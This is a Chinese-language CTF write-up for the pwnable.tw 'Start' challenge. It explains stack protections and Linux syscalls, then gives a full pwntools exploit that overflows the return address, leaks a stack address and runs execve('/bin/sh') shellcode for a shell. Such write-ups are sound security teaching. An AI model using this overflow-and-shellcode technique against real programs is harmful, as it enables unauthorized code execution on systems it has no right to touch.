前言
本人是一枚刚接触Pwn不久的大二学生,在 ‘Pwn学习笔记’ 这系列文章中,我将记录下每次在 https://pwnable.tw/ 上做题时所积累到的一些知识,并写下对应题目的write up,如有错误之处,望大家指正!
相关知识点概述:
- Checksec中包含的保护机制:
- Cannary(栈保护):栈溢出保护是一种缓冲区溢出攻击缓解手段,当某个函数存在缓冲区溢出攻击漏洞时,攻击者可以通过覆盖栈上的返回地址来让shellcode得到执行。当启用栈保护后,系统会在函数开始执行时往栈里插入一段cookie信息,等到函数执行到即将结束时,系统又会去验证cookie信息的合法性,如果不合法就停止程序的运行。为何我们可以通过这样的方式去对栈做一个保护呢?因为攻击者在覆盖返回地址的时候往往也会将位于返回地址下边的cookie信息覆盖掉,这样便会导致上述一些列验证过程的发生,成功做到对栈的保护。
- Relro(Relocation Read Only):在Linux系统安全领域中,可写的数据存储区将有可能会是攻击者的目标,尤其是存放着存储着函数指针的区域。所以,站在安全防护的角度来看,尽量减少可写存储区域的数量对安全将会有很大的帮助。
- NX(Windows平台下称为DEP):NX即No-execute(不可执行)的意思,其基本原理是将数据所在内存页标识为不可执行,当程序溢出成功并转入攻击者构造好的存储着shellcode的内存空间时,程序会尝试着在数据页面上执行shellcode所对应的指令,与此同时CPU会检测程序所要执行的指令是否位于可执行区域,若否,则禁止程序对指令的执行并抛出异常。
- PIE(也称ASLR 即 Address Space Layout Randomization):地址空间布局随机化是一种防范溢出漏洞被利用的计算机安全技术。ASLR通过随机放置进程关键数据区域的地址空间来防止攻击者能可靠地跳转到内存的特定位置来利用函数。
- 系统调用(System Call)的使用:
系统调用是指运行在用户空间的程序向操作系统内核请求需要更高权限才可以运行的服务,它的启动是通过执行
int 0x80
这条汇编指令实现的。操作系统实现系统调用的步骤如下:- 应用程序调用库函数(API);
- API 将系统调用号存入 EAX,然后通过软中断使系统进入内核态;
- 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
- 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
- 中断处理函数返回到 API 中;
- API 将 EAX 返回给应用程序。
补充:对于使用系统调用时所需的输入参数将依次保存在EBX、ECX、EDX、ESI、EDI寄存器中,若参所需数数量超过6个,EBX寄存器将被用于保存指向输入参数所处内存位置的指针的值(输入参数按照连续的顺序存储)。
题目讲解:
此次所讲解题目为 https://pwnable.tw/ 上的第一题 Start。
- 首先,我们按照题目的提示在Kali Linux的终端下输入命令
nc chall.pwnable.tw 10000
并执行,截图如下: 接着我们用checksec对start文件进行一个检测,从下图可以看出,该文件并未开启上述的四种保护机制:
然后我们使用
objdump -d -M intel start
命令查看其汇编代码,由下图可知该程序是直接由汇编语言编写的:我们先来分析下该程序的执行过程:
- 程序先是把当前esp的值压入栈中,接着再将0x804809d这一地址压入栈中,
push 0x804809d
其实可以对等为push offset _exit
,它的作用是:在start()函数执行完成后跳转到0x804809d
这一地址执行exit()函数,这一地址就是我们所讲的返回地址。 - 接下来的四个
xor
指令分别对EAX、EBX、ECX、EDX这四个寄存器的值进行了清零,再接下来的五个push
指令便是将我们所看到的Let's start the CTF:
这串字符压入栈中。 - 从
0x8048087
到0x804808f
这段汇编指令表示使用write()系统调用的过程,相当于write(1, buf, 20)(这里的buf我们可以看作esp)即将字符串Let's start the CTF:
输出到我们终端控制台上。 - 而从
0x8048091
到0x8048097
这段汇编代码则表示使用read()系统调用的过程,相当于read(0, buf, 60),即将我们从终端的输入(大小限制为60个字节)写入栈中。 - 最后将esp的值增加20(此刻esp指向的是返回地址即
0x804809d
),并通过ret指令完成到返回地址的跳转,进而执行exit()函数(exit()函数的执行也意味着程序即将执行完毕)。
注意!为了更清楚讲解此题,下面的分析皆是以本机的调式结果为例子。
由上面的四步分析可知:我们若希望将构造好的shellcode放置到栈上并让其得到执行,首先需要得知的便是栈上的地址。在这里我用gdb-peda对start进行了调试,以调试结果为例:push esp
实际上是将0xffffd480
这一地址值存放到了0xffffd47c
这一地址所指向的大小为4个字节的空间上。于是我们可以将返回地址的值设为0x8048087
,这样便可以跳转过去执行mov ecx,esp
这条指令(此刻esp中保存的是地址值是0xffffd47c
),那么接下去,write()系统调用便可以帮我们输出0xffffd47c
地址中保存的值即0xffffd480
,。
简单来说,我们整个攻击步骤如下:
- 利用第一次read()覆盖掉返回地址进而执行第二次write()。
- 再通过第二次write()可以获得我们想要的栈上的地址。
- 最后借用第二次read()将我们shellcode写到栈上。
利用代码如下:
from pwn import *
p = remote("chall.pwnable.tw",10000)
print p.recvuntil(":")
payload = 'A' * 20 + p32(0x08048087)
#覆盖返回地址为0x08048087
p.send(payload)
stack = u32(p.recv(4))
p.info(hex(stack))
shellcode = '''
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
'''
shellcode = asm(shellcode)
print disasm(shellcode)
payload = 'A' * 20
payload += p32(stack + 20)
#stack为我们获取的栈上的地址,将其加上20再放置到栈上是因为第二次 add esp, 0x14 指令结束后,esp寄存器所指向的将会是返回地址(stack+20),所以第二次ret执行完后,程序便会从stack+20这一地址开始执行我们存放好的shellcode。
payload += shellcode
p.sendline(payload)
p.interactive()
执行上述代码我们便可成功getshell,并且拿到flag,截图如下:
作者:Andyi
时间:2018.4.16